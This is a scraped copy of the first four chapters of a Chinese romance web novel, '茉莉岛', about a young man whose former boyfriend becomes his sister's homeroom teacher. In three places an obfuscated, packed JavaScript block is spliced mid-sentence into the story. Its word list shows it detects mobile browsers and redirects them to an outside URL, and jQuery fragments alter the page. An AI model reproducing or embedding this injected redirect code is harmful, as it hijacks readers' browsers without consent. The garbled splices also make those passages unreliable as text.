《茉莉岛》 1. 江淮书 “轰隆隆……” 雷声轰鸣,屋外下着大雨,雨滴敲打着玻璃窗,发出“嗒嗒嗒”的声响。房间里异常闷热,飘飞的雨水一滴接着一滴的落到阳台角落的茉莉上。花瓣喝饱了水,被雨砸得弯下了腰。 许久后,那瓣花似乎再也经受不住雨的击打,带着尖上的水珠掉落在地。 与此同时,房间里的闹钟响起,声音大得几乎要掀翻屋顶。 “啧……” 谭俞皱了皱眉,用枕头紧紧捂住了自己的耳朵。但这招并不管用,闹铃还在催命似的响个不停。他深吸一口气,抹了把脸,睁开惺忪的眼睛翻过身去关床头的闹钟,语气不耐。 “我操了,声音这么大,耳朵都震麻了。” 雨还在下,谭俞坐在床边发了一会儿呆,随后起身去阳台把那盆茉莉端到了另一个角落的瓦檐下。 回到房间后他将风扇打开,热气被吹散,闷热的温度因此得到了缓和。他刷着牙走出房间,来到谭叶的房间门口敲了敲门,口齿不清的喊道。 “小叶子,起床了,今天你开学典礼,哥送你去学校!” “听见没有?迟到了我可不管你。” 话毕,谭俞在门口站了一会儿,见房间里没动静,他有些无语——果然妹大了就是难管教……不过好在他有必杀技,想到这他自信的挑了挑眉,假装接电话,故意大声道。 “喂?!是华叔啊,您今天蛋糕店开业是吧!好好好,我让小叶子起早点去您那买点蛋挞!” 果然,话音刚落,谭叶的房间里顿时传来一道兴奋的叫喊。 “哥!我起来了我起来了!” 小样,我还治不了你? 谭俞嗤笑一声,回到了房间里。 ————————————————————————— “哥,华叔的蛋糕店没开业啊。” 岔路口边的一家老蛋糕店紧闭着铁门,门牌上招摇醒目的写着几个大字——华哥蛋糕,暂不营业。 这时的雨小了点,谭俞手握方向盘忙着打转弯,听见谭叶语气失落的发言,他随口胡扯:“可能是我们来得太早了,华叔还在睡觉。” 这话明显不靠谱,谭叶根本不信:“你不会是骗我的吧,其实华叔根本没回来对不对?” 说着,她还透过后视镜死盯着谭俞,似乎想从谭俞的神情里找到一丝破绽。可谭俞是谁?他可是撒谎的老油条了,面对老妹的质疑他丝毫不慌张。 “我骗你有什么好处?” 这可难不倒谭叶,她秒答:“让我起早不赖床啊。” 此话一出,可把谭俞逗笑了:“你还好意思说,你也知道你爱赖床迟到啊?” 谭俞教训得理直气壮,殊不知自己也是个爱赖床的。 就算自己有问题谭叶也不可能乖乖认错,她张了张口,准备说些俏皮话耍赖,然而却被一个急刹车给打断了机会。刹车太突然,她的身子猛地往前倾,好不容易才稳住了身形。 “怎么了哥?” 这边的谭俞也是被吓得不轻,他在心里骂了句脏话,皱着眉回答谭叶:“有个骑电瓶车的人闯红灯,我差点就撞上他了。” 此时对面有辆黑色迈巴赫似乎跟他们同路,这辆价值不菲的车在这小县城里显得格外惹眼。事发突然,那辆迈巴赫和谭俞几乎是同时停住了。为了避免堵车,谭俞选择让他先走,不过他并没有走,而是摁了下喇叭,似乎也是在让谭俞先走。谭俞有些意外,于是也摁喇叭回敬,他打开车窗将头探出了点在车外,弯眸勾唇,笑得痞气。 “谢了!” 小插曲被雨声淹没,谭俞也开着车走远。 这时,那辆迈巴赫的车窗突然降下,一只修长白皙的手夹着烟探出来搭在车窗边,掉落的雨水顺着他的指尖往下流。 苍白飘渺的烟模糊了画面,香烟燃尽,烫伤了手指。 ————————————————————————— 风扇呼呼的吹着,敲打键盘的声音在屋子里断断续续响起。 谭俞叼着冰棍紧盯电脑,汗水从额角滑落,他叹了口气,伸手扯了张纸巾擦汗。打下的段落删删改改,没有一遍是让人满意的,他有些烦躁的闭上眼,靠在了椅子上。 读完高中谭俞并没有参加高考,他去了外地打工:服务员,搬砖,司机等等,什么活儿都干过,现如今有了点存款,足够供谭叶读完大学。现在他是个网络作家,虽然收入不稳定,但也还算过得去。 他爸妈死于一场车祸,从小便是奶奶姚淑芬照顾他们兄妹。奶奶有腿疾,有时发作起来能疼得打滚,只能靠药熬着。 脑子放空了一会儿后谭俞睁开了眼,他偏头看向床角的吉他和茉莉。吉他被擦得很干净,没有落灰,只是弦生了锈不能再弹了。茉莉开得很好,花瓣上的露水衬得它更纯净,仿佛下一秒就能闻到那股茉莉清香。 吉他和茉莉依偎在角落,有种莫名的喜感。 谭俞没有再多看,起身拿起车钥匙下了楼。 外面的雨已经停了,他开车去到花店买了捧粉玫瑰。店员是个中年妇女,老练手巧,没几下就扎好了。她将花递给谭俞,笑着调笑。 “小伙子,送女朋友啊?” 闻言,谭俞笑了笑:“没,送我奶奶的。” 此话一出,店员欣慰一笑,伸手拍了拍他的肩。 “可以啊,有孝心,你奶奶肯定高兴!” 谭俞接过花,垂眸:“她会的。” 说着,他扯出一抹笑,冲店员挥挥手。 “阿姨再见。” 玫瑰花被放在副驾驶上,扑鼻的香气勾起谭俞的回忆。 小时候奶奶喜欢跟他和谭叶聊爷爷追她的故事,她边聊边笑,笑容里洋溢着幸福,就连脸上的褶子都充斥着甜蜜。她喜欢粉色的玫瑰花,所以谭俞每次去看她都会带着玫瑰花去。 送逝者玫瑰花听起来很奇怪,但谭俞并不这样想,送玫瑰花的话,奶奶会更高兴些。他将玫瑰放到奶奶的墓碑前,弯腰抚摸着遗照上的笑颜,笑道:“奶奶,您孙子来看您了。” 他蹲在墓碑边用帕子擦净墓碑上的雨水,低声说着家常。 “小叶子成绩很好,您跟爸妈别担心,小丫头片子懂事着呢。” “我过得也很不错,您看我,都胖了。” 说着,他站起身在原地转了一圈,将身材展示给奶奶看。 “您跟爸妈在那边要照顾好自己,少吃糖,会牙疼。还有少到处逛,到时候又要腿疼一晚上。要多吃点青菜和肉,补充补充营养……” 这时,突然一阵风吹过,墓碑前的玫瑰花被吹得晃了一下,谭俞笑出声,桃花眼眼尾微微挑起。 “行行行,叮嘱您您还嫌我啰嗦呢,我错了我的老公主。” “我……” 就在谭俞还想再说些什么时,电话铃声响起,打断了他的话。他拿出手机凑到耳边接听:“喂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900338|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 对面是段佳成,他可能是在超市,有收银的声音。 “喂老谭?我靠你听说没,江淮书这个特级教师去县城里教书去了!!” 久违的听到“江淮书”这个名字,谭俞心跳顿时漏了半拍,但他还是故作无事的调笑:“特级教师?这么叼,他去县城教书是被安排的还是自愿的啊?” “嗨!” 段佳成狠狠感叹了一下,语气异常激动澎湃。 “自愿的!” “我听说啊,他向上级申请的时候可义正言辞了,眼神坚定,仿佛快要入党似的。” 谭俞被逗笑,知道他一聊八卦就爱添油加醋的老毛病又来了:“怎么,你在现场啊,形容得还挺像回事。” 他垂眸看了一眼手表,接着道。 “行了先挂了,我妹放学了我得去接她,不然回家她又要开始阴阳大法了。” 说完,没等段佳成鬼吼鬼叫谭俞就挂了电话。他转身弯腰,伸手擦去墓碑上的最后一滴雨水。 “奶奶,我去接小叶子了,下次我带着她来看您。” ————————————————————————— 因为是学生放学的高峰期,路上堵得水泄不通,谭俞费尽千辛万苦才来到学校门口。谭叶这小丫头片子不知买什么吃的去了,校门口根本没有她的身影。 谭俞拿出手机打给她,电话响了好一会儿才被接起。 “小叶子你干什么去了,我在校门口等你呢,快点出来,热死了。” 那边的谭叶说话说得含含糊糊,谭俞根本听不清她在说什么,没等他问通话就挂了。 “搞什么这是。” 谭俞嘟囔着,心里奇怪,现在青春期的人都这样吗?他怎么记得他以前不这样啊…… 谭叶没出来他只能干等,怕谭叶找不着他。 大约十多分钟后,人都快走光了谭叶才出来。此时谭俞已经热成狗了,他接过谭叶的书包,随口问道:“怎么你出来这么晚,在里面干什么?” 此话一出,谭叶摸了摸鼻子,似乎有些不自在:“当,当然是大扫除了,不然我才不会出来这么晚,难道你忘了?我以前出校门可是第一个冲出来的!” 见她心虚的样子,谭俞笑了笑没有戳破:“也是,放学数你最积极。” “嘿嘿。” 谭叶有些不好意思的笑了笑,接着她似乎想起了什么,语气兴奋:“对了哥,我跟你说我们班主任特帅!特高!比你还要高呢!” “嗯嗯……”谭俞右手转着车钥匙敷衍的应和,“然后呢?” “他特别白,唇边有颗痣,是丹凤眼,看起来……嗯……有些不好相处,话也少。” 话音一落,谭俞顿时瞳孔收缩,步子也乱了,身子仿佛失去重心般往前一栽。谭叶见状,连忙扶住了他,眼神里露出担忧:“你怎么了哥?!” 此时的谭俞根本听不清谭叶说的话,刚刚的形容跟脑海里的某个人重叠,他想起今天下午段佳成跟他说的八卦,心跳几乎快要骤停。 “谭叶,你班主任叫什么名字?” 谭俞除了生气时从来没有这么正式的叫过她的名字,此时的她有些愣住了,但还是立马回答了谭俞的问题。 “我班主任?” “他叫……”谭叶认真回忆着,接着她“啊”了一声,抬眸看向谭俞。 “江淮书!” “他叫江淮书!” 2. 好久不见 晚饭谭俞吃得心不在焉,嘴里的饭菜嚼不出味道,他甚至连提筷子的欲望都没有。于是他匆匆扒了几口就起身回房间,走之前还不忘叮嘱谭叶:“吃完回屋学习,饭菜放着我一会儿收。” 今晚的老哥奇怪极了,但谭叶来不及深究,她也有很重要的事情要去做。想到这,谭叶忍不住翘起嘴角。 电脑上的文章一字未动,谭俞头歪在椅子上,指尖敲打桌面,有规律的“嗒嗒”声难掩他内心的焦躁。 很奇怪,江淮书身为特级教师,明明有更好的出路,为什么会来一个小县城里教书?谭俞心里隐隐约约有了答案,但他不敢去阅读,怕自己会错意然后自作多情。 他很恨自己吧? 当年在恋爱期间没有任何理由就提了分手,甚至在毕业那天一声不吭的就离开了梅城。 没有道别。 没有抱歉。 没有联系。 好像这场恋情看起来对他来说只是一段不清不楚的关系,似乎只有江淮书一醉方休。 一股莫名的荒诞涌上谭俞的心头,他在怀念什么?明明他才是那个绝情的人,装什么深情大爱。 这时,一滴水落到了他的手臂上,他回过神,却分不清这是眼泪还是汗水。 算了,都过去了。 谭俞的余光看到了吉他旁边的茉莉,他顿了顿,闭上了眼睛。 ————————————————————————— 第二天谭叶起得很早,还特意打扮了一番。她本来长得就漂亮,现在擦了点唇釉,扎了个发型,更是锦上添花。 谭俞眼神揶揄,自上而下的扫了眼谭叶,勾唇轻笑:“哟,你这是还注重起形象来了?” “嘁,”谭叶歪了歪头,马尾轻晃,“如何,你妹好看吧?” “好看,”谭俞给她背上书包,在她脑袋上弹了个脑瓜崩,“女神级别。” 早餐已经吃得差不多,谭俞带着谭叶赶下楼坐车去学校,美其名曰让她充当第一个进教室的人。谭叶翻了个大白眼,不情不愿的坐进车里。 时间还早,路上没什么行人也没什么车,两人一路上畅通无阻,一命速通到学校。谭俞跟个老妈子一样叮嘱谭叶——少吃凉,认真听课,上课期间不准睡觉…… “行行行,哥,我先进去了。” 谭叶一点也不想听他啰嗦,撂完话转头就跑。谭俞只好就此打住,对着她的背影喊道:“跑慢点儿!别摔了!” “越来越叛逆了。”他摇摇头,转身就去买路边摊上的小吃。 此时一个卖力吆喝的烤肠大爷停下来叫住了他:“诶,那个穿黑短袖纹纹身的小伙!” 谭俞闻声止步,他偏过头来看向这边,抬手指了指自己:“我?” 大爷笑得不亦乐乎:“对!就是你!” “大早上的,要不要买点烤肠吃吃啊?” 刚想问什么事的谭俞闻言了然,这大爷正在揽客呢这是。 见谭俞止住步子,大爷仿佛看到了机会,极为热情的介绍起自己的烤肠:“小伙子你看,我这烤肠别的地方可吃不到,外焦里嫩,香着呢,有些人想吃还买不着嘞。” “看你有缘,我给你优惠一下,买二送一!” 大爷越扯越夸张,就差说自己的烤肠包治百病了。谭俞笑了笑:“行,大爷,给我来两串吧。” “诶诶,好!” 说着,大爷笑容满面的给他蘸了点辣椒面,包起了三串。谭俞付了钱接过烤肠:“谢谢您了。” 三串烤肠谭俞一个人吃会吃腻,于是他吃完一串后提着剩下的两串来到了巷子口,他轻声喊道:“香蕉,香蕉?” 谭俞站在原地喊了好几声,不一会儿,一只黑白相间的小猫从一条小道里慢慢爬了出来。它“喵”了一声,灵活的跳过面前的一块儿青石板,慢悠悠的来到谭俞面前。 “喵——” “别急,有点烫。” 谭俞把烤肠拿出来吹了吹,然后抽出竹签放到了地上:“吃吧。” 香蕉是谭俞给取的名,它原本是只流浪猫,当时谭俞遇到它时它正在垃圾箱里翻垃圾吃。谭俞手上刚好有点吃的,想着拿去喂它,谁知食物刚放到它面前它就猛地咬了谭俞一口。 “我操。”谭俞吃痛着收回手,不可置信的看着这只正在狼吞虎咽,心安理得的吃着他送来的食物的猫咪,“小没良心的,脾气还不小。” 后来谭俞每天都会路过那条小巷给这只猫送吃的,因为谭叶猫毛过敏,所以不能直接将它带回家养。时间长了,小猫对他的警惕性也大大降低,甚至可以任他揉捏。 “以后你就叫香蕉,记住了,你大哥叫谭俞,之后就乖乖的等着我给你喂吃的吧。” 说完,谭俞还想再摸摸它,但它已经吃饱喝足不买账了,跳起来给了谭俞一掌后转身就跑。 回忆按下暂停键,谭俞看着正睡在他脚边晒太阳的香蕉,不由得笑出声,伸手摸了它两把:“我也是把你养得肥头大耳了,香蕉,你真是长得越来越丑了。” “喵——!!” 香蕉似乎听懂了他的话,咬着他的指尖发出抗议。谭俞将它抱在怀里使劲亲它的头:“不丑不丑,我们香蕉最好看了,对不对?” “老谭你一个人蹲在这嘀咕啥呢,难道是压力太大精神分裂了?” 身后突然响起段佳成的声音,香蕉被吓了一跳,挣出谭俞的怀里逃走了。谭俞无语的回头瞪了他一眼:“你以后走路出声儿行不行?你把我儿子吓走了都。” 闻言,段佳成瞪大眼,嘴里咬了半边的草莓掉了下来:“儿子?!你结婚了?!” “不是吧,你真结婚了?!” 段佳成鬼叫着抓住谭俞的肩膀使劲晃:“你怎么不告诉我?不仗义啊你!” “滚,”谭俞一脸嫌弃推开他,“我没结婚,是我养的猫。” 说着,谭俞还丝毫不见外的拿了他篮子里的几颗草莓。 段佳成轻轻拍了拍胸脯:“吓死了吓死了,我差点就心碎了,还以为你结婚不叫我呢。” 谭俞没继续跟段佳成贫嘴,他想起了之前段佳成跟他说的八卦,还有昨天谭叶口中的班主任。他嚼了两颗草莓,或许是他运气不好,挑了两颗没熟的,汁水又酸又涩。 “你知不知道江淮书是来的我们这儿教书?” 此话一出,段佳成有些惊讶:“我们这儿,真的?!” 谭俞像看傻子一样看了他一眼:“我有心情骗你?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900339|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是,”段佳成跟着蹲在谭俞身边,“不过你怎么知道是来我们这儿?” 话说到这儿谭俞已经快要没有说下去的欲望了,只觉得自己惨得不行,他欲言又止:“他……他是我妹班主任。” “什么?!” 段佳成瞪大眼,随后干笑两声:“你这……《倒霉熊》还没停播呢?前任成了妹妹的班主任,你这运气也是没谁了。” “看你真是就像看了两集《倒霉熊》。” 谭俞看了段佳成一眼,一想到下午又要去学校接谭叶心里就烦,也不知道会不会遇到江淮书。 如果遇到了,要说些什么呢?能说些什么呢? ————————————————————————— 今天下午的温度跟昨天没什么区别,但谭俞却觉得比昨天要凉一些,也不知道为什么。他有些神经紧绷,看着身边路过的人,总感觉里面的其中一个是江淮书。 谭叶跟昨天一样出来得晚,他心里奇怪:昨天出来得晚就算了,今天也是吗?她不会又要说是大扫除吧? 谭叶还没出来,也就是说这个时候江淮书也不可能出校门,他们相遇的几率降低了一些。谭俞松了口气的同时心里也涌起一种莫名的情绪。 是失落吗? 谭俞问自己,但却始终得不到答案。 太阳已经渐渐落山,谭俞拧开矿泉水瓶盖喝了一口。这时,手机突然震动了下,他拿出来一看,是段佳成的消息。 ddd:老谭,你是不是遇到江淮书了?[吃瓜] 谭俞扯了扯嘴角,在手机上点了几下,发送消息。 落潭:没。 ddd:不对啊,按理来说这个时候大多数学生都放学了,老师也应该回家了才对啊。 落潭:可能他加班吧。 ddd:那你妹呢?你们回家了? 落潭:她还没出来,不知道在里面干什么,昨天也是这样很晚才出来。 ddd:这小丫头不会早恋了吧? 落潭:她要是早恋我就打断那男的腿。 ddd:那你之前跟江淮书呢?你还好意思说呢! 落潭:那不一样。 ddd:哪儿不一样了你告诉我。 谭俞皱着眉,还想再回复他些什么,谁知不知道是谁从他身边走过的时候不小心撞了他一下,他的钥匙掉在了地上,发出清脆的声响。 那人脚步一顿,在他身旁站定:“抱歉。” 谭俞没怎么在意,蹲下身捡起了钥匙,随口回答道:“没事,小问题。” 说完,他拿起钥匙刚要站起身,却听见那人淡淡开口。 “谭俞,” “你瘦了。” 对方念出他名字的一瞬间,谭俞顿时僵在了原地。他呼吸骤停,心跳开始加速,指尖不停颤抖,刚捡起的钥匙又掉在了地上。他抬头看去,眼前的人穿着轻薄的防晒衣,戴着黑色鸭舌帽,那双剔透如琥珀的丹凤眼垂眸看过来,唇边是他曾经吻过无数次的小痣。 那一刻,谭俞感到头晕目眩,仿佛一阵风就能把他吹倒。 他勾起嘴角挤出笑容。 “啊,” “江淮书,” “好久不见。” 3. 茉莉死了 好久是多久?谭俞自己也不明白。 十年说长也不长,说短也不短,它足以让人忘记一个人,也足以让回忆变得刻骨铭心,令人在不知不觉中将思念养育在骨肉里。 似乎是太久了,久到江淮书的声音已经变得模糊,他一开始没有立刻辨认出来。 江淮书静静地看着他,没有说话,说完“好久不见”的谭俞也没了下文,两人就这么相视无言的站着。 当年的情景与现在重叠,他们相望着站在原地,明明没有说话,眼神却胜过了千言万语。 “哥!” 谭叶的叫喊从远处传来,将谭俞的神智扯了回来。谭俞闻声看去,谭叶正背着书包往这边跑。 “对不起哥,今天又……”谭叶心虚地开口,但看清谭俞身边站着的人是江淮书时她一下子吓得将剩下的话吞了回去,“江,江老师好。” 江淮书将视线从谭俞身上移开,看向眼前的谭叶:“嗯。” 这阵仗可把谭叶吓坏了,班主任跟亲哥站在这儿这么久,肯定聊了些什么。她仔细在脑子里把今天发生的事情过了一遍,想了想自己是不是不小心被江淮书看到了。 气氛安静下来,三个人站在一起,略微诡异。 由于实在尴尬,谭俞率先打破宁静:“那,那江老师没什么事的话我就带我妹妹回家了。” 江淮书掀起眼皮看了他一眼,什么话都没说直接走了。 他这一走,两兄妹直接就是松了一大口气,紧绷的神经也松懈下来,但谭叶并没有完全放松,她想了想,还是试探性的开口问道:“哥,你……江老师跟你说了什么啊?” 谭俞愣了愣,不自在的移开目光,随口瞎扯:“我跟你们班主任不认识。” 谭叶:“?” 两个人各自心怀鬼胎,牛头不对马嘴的聊着天回了家。 今天谭俞忘记买菜了,于是拿了两盒泡面应付一下。谭叶喜出望外:“我要吃火鸡面!” “偶尔吃次泡面看把你美的,我做菜有这么难吃?”谭俞心不在焉地说话逗她,“等着。” 谭俞将水煮开,把调料包放到一旁,看着在锅里翻腾的热水,他开口道:“小叶子,以后上下学你得自己去了。” 闻言,谭叶愣了:“啊?为什么啊?” 当然是因为不想再遇见江淮书啊。谭俞在心里碎碎念,但他并没有直接这么说:“前两次我亲自接送你是因为想让你熟悉回家的路线,现在不用了,你已经是大姑娘了,得学会独立,知道没?” 见谭俞神情认真,不像是开玩笑的样子,谭叶扯了扯嘴角,语气有些失落:“行吧。” ————————————————————————— “谭俞。” “谭俞。” “谭俞。” 耳边隐约传来海风的声音,咸涩的海水舔舐着谭俞肌肤,一道熟悉又陌生的声音呼喊着谭俞的名字。 谭俞缓缓睁眼,映入眼帘的是一望无际的大海,他愣了愣,垂眸看向水面。倒影里的他头戴着茉莉编织成的花环,脸上还有湿热的沙砾。这时,不知是谁牵住了他的右手,他转头看去,对上了一双漂亮的凤眼,心猛地跳动了一下。 是江淮书。 他终于想起来了这是什么地方,这里是梅城,是他高中时生活的地方。 江淮书的半边衣角已经湿透了,他牵着谭俞往岸边跑:“谭俞,我们要迟到了。” 手里传来温热的触感,眼前的一切都太过真实,谭俞不由得紧紧握住了江淮书的手,好像如果他松开了一分,江淮书就会不见似的。 他们一路奔跑,穿过杨桃林,踏过茉莉巷,跑过薰衣草田。谭俞张了张口,想叫江淮书的名字,可他却发现自己根本发不出声音,他有些慌了,想停住脚步示意江淮书等一下。但当他松开手停下来时,江淮书似乎根本没注意到他,还在往前奔跑,谭俞去抓他的手却扑了个空。 风越来越大,吹乱了谭俞的发丝,前面的路开始化为虚影,江淮书的身体越来越透明,等他回眸看向谭俞时他已经化作了泡沫。 “江淮书!!!” 这一次,谭俞喊了出来,却什么也没留住。 谭俞出了一身的冷汗,猛地从床上坐起。 周围并不是什么大海,这里也并不是梅城,这只是一个梦。 谭俞长舒一口气,将脸埋进了手心里。风扇呼呼的吹着,他看了眼时间,随后起身来到阳台处。 此时天还没亮,外面一片漆黑。谭俞将烟含在嘴里,点燃后吸了一口,苦涩的味道从口腔灌入肺里,他瞬间清醒了过来。 是梦,一切都是一场梦。 他回不到过去,也抓不住江淮书。 ————————————————————————— 早上谭叶依旧起得很早,没让谭俞操心,她匆匆吃了碗面就下了楼。谭俞站在窗边冲她大喊:“放学早点回来,有事给我打电话!” “知道了知道了!”谭叶挥挥手,“我赶车去了!” 谭俞目送她上车后便回到餐桌前将碗收拾干净,他拿出手机给段佳成发消息。 落潭:出来喝酒。 那边的段佳成几乎是秒回。 ddd:这么早?你终于还是疯了。 落潭:来不来。 ddd:来来来,兄弟走着。 发完消息谭俞就下了楼,柔风与他擦肩而过,却没有带走他心底的忧愁。 两人去了附近的酒吧,段佳成心里清楚谭俞为什么要约他来喝酒,所以他也没多问,就随便点了几瓶。开瓶前他还不忘叮嘱谭俞:“你少喝点啊,胃疼可没人管你。” 谭俞眉梢微挑,轻笑:“怂了直说。” “嘿你这人!” 酒杯刚被倒满谭俞就拿了过去,直接一口闷,接连几次都是这样,段佳成看不下去了:“你心里不痛快我知道,少喝点,哪儿烦你直接跟我说就行。” 说着,他一把把酒杯拿了过来:“你平时不是滴酒不沾吗,别跟我说你今天只是酒瘾犯了。” 酒杯被抢了谭俞也没继续争,而是抬眸看他,勾唇笑了笑:“你记不记得我们在梅城读高中时组的乐队?” 似乎是没料到谭俞会聊这个,段佳成动作一顿,放下了酒杯:“记得,怎么了?” 谭俞单手支起脑袋,闭上了眼,往事如同电影放映一般在脑海中走过。 “当时每到放学我们都会偷摸溜进音乐室玩乐器,因为不会,所以弹得特别难听。” “我俩组了个乐队,说要参加校庆,但是没被选上。” 段佳成也跟着回忆起来,嗤笑:“还不是你拖本大爷后腿,不然名额早就是我们的了。” 当时谭俞跟段佳成练了很久,一个弹吉他一个唱歌。但学校名额有限,报名的人太多,他俩做的节目没这么吸引人,所以就落选了。段佳成心大,觉得没什么,演出当天回到寝室睡觉去了。但是谭俞不甘心,一个人在废弃的图书馆那坐着弹吉他,边弹边唱,完全沉浸在自己的世界里。 一曲完毕,谭俞睁开眼才发现路过的江淮书,他有些尴尬:“你怎么在这儿?” 江淮书没有立刻回答,而是晃了晃手里的资料书,随后开口道:“很好听。” 谭俞记得很清楚,他走过时身上飘来他从没闻过的淡橘香,很特殊,像误入了橘子雾,他路过夕下,就连日落的光辉都为他倾倒。 江淮书走后,谭俞笑出声,一切不甘与烦躁全部统统烟消云散,他看着江淮书远去,喃喃自语。 “这人还挺有意思。” 听完谭俞的回忆,段佳成有些意外:“你俩还有过这一段?” 谭俞点点头,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900340|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再说话。段佳成叹了口气,拍拍他的肩:“都是过去式了,人总要向前看嘛对不对?” “如果前面是江淮书呢?”谭俞看向他,低声问道。 段佳成愣住。 酒吧里鬼哭狼嚎,音乐大得炸耳,他看见谭俞眼底的迷茫,顿时有些哑口无言。 这时,电话铃声响起,段佳成回过神:“你电话响了。” 谭俞顿了顿,拿出手机接了起来:“喂,你好?” 那边很安静,只有浅浅的呼吸声,谭俞皱了皱眉,又打了一声招呼,可对面还是不吭声。就在他准备当做诈骗电话处理的时候,对面开了口:“谭俞,你在酒吧?” 是江淮书。 谭俞僵住了。 段佳成见谭俞脸色都变了,做了个口型:谁啊? 谭俞来不及理他,站起身去结账,语气有些慌张:“没有,这是我,呃,我朋友的店,我马上就出去了。” 但江淮书并没有多大情绪起伏,语气冷淡:“与我无关,你没必要解释,你妹妹早恋被抓,请你来学校一趟。” 这句话扎得谭俞心尖都在抽,他强压住心里的苦涩:“好。” ————————————————————————— 办公室里没开空调,热得人一直流汗,但谭俞却冷得有些发抖。 谭叶和一个男生低着头一起站在江淮书的办公桌旁,谭俞坐在他面前,一时间不知该说些什么。 江淮书喝了口水,抬眸看向谭俞:“早恋在高中生之间很普遍,也不是什么严重的大事,但是不能耽误上课学习,上课传纸条已经违反了课堂纪律。” “你作为谭叶的哥哥,回去之后给她做好正确教育,让她写一千字检讨明早交我办公桌上。” 谭俞点了点头:“好,麻烦江老师了。” 他的语气客套又生疏,江淮书的指尖蜷缩了一下:“回去吧。” 此话一出,谭叶跟那个男生给江淮书道了谢之后便出去了,谭俞也如获大赦,他站起身准备跟着出去,但江淮书却敲了敲桌子:“我说的不是你。” 悬着的心终于死了。 谭俞又重新坐下。 办公室的门被关上,此刻只有他们两个人在里面。 气氛太过微妙,江淮书脸上没什么表情,丝毫没有要说话的意思。谭俞在心中苦笑:也是,恋爱期间莫名其妙被甩,换谁谁都不乐意,如今江淮书肯定很恨自己。 谭俞想找些话题让两人之间的相处没这么尴尬,于是开始问起关于谭叶的学习:“江老师,谭叶她没给您惹麻烦吧。” 江淮书静了一秒,开口道:“没有。” “那就好,”谭俞笑了笑,“如果有您就告诉我,我会好好管管的。” “要是她学习上有什么困难的话,还请您多指导她一下,我……” 没等谭俞说完江淮书就打断了他的话,语气淡淡:“你是我什么特殊的人吗,凭什么要求我多关照她。” “你说话挺可笑的。” 江淮书说话的情绪起伏不大,但谭俞却心如刀绞,他窘迫的回答:“不是。” 话音一落,江淮书嗤笑:“清楚就行。” 谭俞站起身:“江老师,如果没什么事的话,我就先走了。” 他动作有些匆忙,看起来有着落荒而逃的意味,不知是不是因为他之前喝了酒,现在胃烧得想吐。江淮书静静地看着他的动作,在他打开门走出去的前一秒,江淮书开了口。 “谭俞,” “当年你送我的茉莉,死了。” 胃里阵阵绞痛,谭俞脸色发白,他痛苦地扶着门,呼吸略微急促。下一刻,眼前天旋地转,在他倒地昏厥的那一瞬间,想象中的头疼并没有传来,而是感觉落入了一个温热的怀抱里,他听见了一道语气惊慌的声音。 “谭俞!” 4. 转学生 最近梅城的海风很大,下午放学谭俞总爱来海边逛逛。 浪花拍过岸边随后缓缓退去,一只小沙蟹从沙砾里小心翼翼地探出了脑袋,就在它刚准备挪脚出来时,一只手突然伸过来猛地捏住了它的背,接着便是响起一阵大笑。 “老谭老谭,快过来,看我抓到了啥?” 段佳成叼着根棒棒糖,校服裤腿挽到腿弯处,光着脚站在一块礁石边举起手展示他的战利品:“美味晚餐!” 小沙蟹在他手里不断挣扎,谭俞扫了一眼,眼神嫌弃:“这么小,你自个儿留着吃吧。” “啧,”段佳成不乐意的皱起眉,“怎么说话的?这叫礼轻情意重!你懂什么。” 谭俞不理这个傻缺,蹲下身仔细观察礁石的缝隙。 一般来说,礁石底下或者礁石缝里都会有八爪鱼,它们喜欢钻缝,很多人抓八爪鱼都爱瞧瞧这些地方,搞不定就会有收获。可是现在天色已晚,海货基本都被人捡走了,谭俞也只是碰碰运气,没想过一定要抓到。 这时一只渔船停靠在了岸边,接着船上就下来了个白发老头。他将帽子摘下,摸了两把光秃秃的脑袋,笑得慈祥:“哟,海娃兄弟,捡货呢?” “海娃兄弟”这称呼一出来,段佳成的脸立马就黑了。他从小就讨厌别人这么称呼他和谭俞,因为这名儿太土了,他觉得不符合他酷哥的气质:“去去去,什么海娃兄弟,九爷你什么时候才肯放弃这个丢死人的外号?” 谭俞起身,转头冲九爷笑了笑:“九爷你回来了,收获怎么样?” 九爷打心眼儿里中意谭俞,长得高,又帅,还懂礼貌,他真是巴不得把自己的孙女介绍给谭俞。他拍了拍谭俞的肩,笑得牙不见眼:“好着呢!还有多余的,小俞你要不要给你奶奶拿点?” 谭俞摇了摇头:“不了不了,谢谢九爷,我要是拿了,回去我奶肯定跟我闹脾气。” 九爷越看谭俞心里越喜欢,正准备还想说些什么,一旁的段佳成插了话:“诶,九爷你怎么不问我?我奶不跟我闹脾气,不如你给我呗。” 